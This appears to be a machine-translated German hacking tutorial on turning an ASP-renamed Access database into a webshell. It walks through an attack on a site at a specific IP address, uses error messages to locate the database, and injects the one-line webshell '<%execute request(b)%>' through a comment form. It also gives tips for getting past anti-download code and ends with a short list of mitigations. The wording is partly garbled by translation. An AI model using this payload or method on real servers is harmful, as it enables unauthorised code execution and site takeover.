Möglicherweise verbessert sich mit der Entwicklung der Netzwerksicherheitstechnologie die Qualität der Administratoren. Um zu verhindern, dass die Datenbank heruntergeladen wird, wird die MDB in ASP oder ASA geändert. Lassen Sie uns nicht direkt über das Ändern des Suffixes sprechen. Sie können es direkt mit Tools wie Internet Express herunterladen. Tatsächlich haben Sie Eindringlingen bereits Tür und Tor geöffnet. Eindringlinge können die Datenbank mit dem Suffix asp/asa verwenden, um direkt an die Webshell zu gelangen.
eins. Ideen
Jeder weiß, dass <%%> die Kennung einer ASP-Datei ist, was bedeutet, dass eine ASP-Datei den Code nur zwischen <%%> ausführt. Alle Daten des Access+ASP-Websystems werden in der Datenbankdatei (MDB-Datei) gespeichert ), da der Administrator die MDB-Datei in eine ASP-Datei geändert hat. Wenn die von uns übermittelten Daten <%%> enthalten, wird beim Zugriff auf die ASP-Datenbank der Code zwischen <%%> ausgeführt. Dies führt dazu, dass wir nur Schadcode an die Datenbank übermitteln, sodass die Datenbank mit dem ASP-Suffix unsere Webshell ist.
zwei. Beispiel
Suchen Sie einfach ein Ziel. Überprüfen wir zunächst die Datenbank, um festzustellen, ob sie ein ASP-Suffix hat: http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210
zurückkehren:
Kopieren Sie den Codecode wie folgt:
Microsoft VBScript-Compilerfehler „800a03f6“
„Ende“ fehlt
/iisHelp/common/500-100.asp, Zeile 242
Microsoft JET-Datenbank-Engine-Fehler „80004005“
„D:/log_mdb/%29dlog_mdb%29.asp“ ist kein gültiger Pfad. Stellen Sie fest, ob der Pfadname richtig geschrieben ist und ob Sie mit dem Server verbunden sind, auf dem die Datei gespeichert ist.
/test/conn.asp, Zeile 18
Wir senden Folgendes: http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp gibt eine Reihe verstümmelter Zeichen zurück, sodass wir die Datenbank mithilfe von Tools wie Internet Express direkt herunterladen können (wir werden nicht darauf eingehen). Hier). Wir kehren zur Homepage zurück und sehen, dass es eine Netizen-Kommentarfunktion gibt. Registrieren wir uns als Benutzer und posten einen Kommentar:
<%execute request(b)%>
Auf diese Weise schreiben wir den ASP-Code: <%execute request(b)%> in die Datenbank, dann ist die Datenbank: unsere Webshell. Senden: http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp Am Ende des verstümmelten Codes sehen wir:
Kopieren Sie den Codecode wie folgt:
/iisHelp/common/500-100.asp, Zeile 242
Microsoft VBScript-Laufzeitfehler „800a000d“
Typkonflikt: „execute“
/test/dlog/log_mdb/%29dlog_mdb%29.asp, Zeile 1266
Hinweis: Wenn wir Code an die Datenbank übermitteln, darf der Codeinhalt nicht zu groß sein. Also verwenden wir <%execute request(b)%>.
drei. Noch ein paar Fragen und Ideen
1. Für die Datenbank, die das Suffix in „asp“ geändert hat und der Datenbank illegale ASP-Codes wie <%='a'-1%> hinzugefügt hat, um das Herunterladen vollständig zu verhindern, da sie nach dem Einfügen unseres Webshell-Codes illegale ASP-Codes enthält. Wird ausgeführt Es wird nur der Fehler des vorherigen illegalen Codes angezeigt, ohne den Code unserer Shell auszuführen. Obwohl dies bestimmte Angriffe verhindern kann, gibt es dennoch bestimmte versteckte Gefahren. Solange wir vor dem Fehlercode fehlerkompatiblen Code hinzufügen, können wir den von uns eingefügten Webshell-Code korrekt anzeigen und ausführen.
2. Für die Dateien, deren Suffix sich nicht geändert hat, also MDB-Dateien, können wir sie direkt herunterladen, um das Hintergrundkennwort zu erhalten. Nach der Eingabe des Hintergrunds können wir das Suffix mithilfe der Datenbanksicherung in asp ändern.
Zusammenfassung der MDB-Anti-Download-Methoden
1: Wenn unter iis6 keine Erweiterung definiert ist, wird beim Zugriff ein 404-Fehler angezeigt, dass die Datei nicht gefunden wurde.
Daher können Sie die Datenbank beliebig in einen Dateinamen umbenennen, der niemals erscheint, um eine sichere Wirkung zu erzielen, wie zum Beispiel: xxxxx.xxxxxxxxxxx
2 Wenn die Datenbank außerhalb der Website platziert wird, ist sie niemals zugänglich. Beispiel: e:/web/ ist Ihre Website
Dann legen Sie die Datenbank in e:/ ab.
3. Ändern Sie, wie oben erwähnt, .mdb in .asp und gießen Sie es gleichzeitig in eine spezielle Tabelle mit <% Binärzeichen. Auf diese Weise wird beim Zugriff auf die Datei eine Meldung angezeigt, dass das Skript zum Schließen des Zeichens fehlt.
4. Oder ändern Sie .mdb in .asp und öffnen Sie es gleichzeitig mit Winhex. Sie können feststellen, dass nach 176 ein langer Teil der Zeichenfolge 00 vorhanden ist. Sie können das Herunterladen auch verhindern, indem Sie ihn nach Belieben in einen ASP-Code ändern , was keinen Einfluss auf die Datenbankfunktion hat. Zum Beispiel:
<%
Response.write (illegaler Zugriff)
Antwort.end()
%>
Das Hinzufügen von # und Leerzeichen im Namen der Datenbank wird nun geknackt. Beispiel: # = <%35 und Leerzeichen = <%20.
Daher ist es nicht mehr sinnvoll, diese jetzt zu verwenden. .
Wenn es sich um Ihren eigenen Server handelt, richten Sie ihn in IIS ein:
Erstellen Sie eine neue leere DLL-Datei und fügen Sie dann die Zuordnung in IIS hinzu. Wählen Sie die gerade erstellte DLL als ausführbare Datei aus, geben Sie .mdb als Erweiterung ein, speichern Sie den IIS-Dienst und starten Sie ihn neu.